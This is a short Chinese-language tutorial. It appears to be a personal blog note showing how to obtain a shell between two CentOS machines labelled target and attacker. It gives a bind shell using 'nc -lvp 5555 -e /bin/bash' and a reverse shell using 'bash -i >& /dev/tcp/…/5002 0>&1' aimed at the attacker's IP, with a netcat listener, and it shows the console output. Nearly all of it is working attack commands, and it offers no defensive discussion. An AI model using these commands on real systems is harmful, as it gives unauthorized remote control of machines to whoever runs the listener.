centos1为目标服务器，我这里是centos的一台测试机器。ip为101.200.41.219

centos2为攻击者机器，ip为8.140.129.23

最终是将centos1的shell反弹到centos2上面。

一、正向反弹shell

在centos1上面执行

[root@wltest ~]# nc -lvp  5555 -e /bin/bash
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::5555
Ncat: Listening on 0.0.0.0:5555

nc  101.200.41.219   5555

然后就可以shell了

二、反向反弹shell

首先在攻击者服务器也就是centos2机器上面执行

[root@iZ2zeckpvpsaii62eyh834Z ~]# nc -lvp  5002
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::5002
Ncat: Listening on 0.0.0.0:5002
Ncat: Connection from 101.200.41.219.
Ncat: Connection from 101.200.41.219:44134.
[root@wltest ~]# 

[root@wltest ~]# bash -i >& /dev/tcp/8.140.129.23/5002  0>&1

在centos2机器上面执行nc -lvp  5002后会处于一个监听的状态，等在centos1上面执行

 bash -i >& /dev/tcp/8.140.129.23/5002  0>&1后，centos上上面就进入了centos的shell了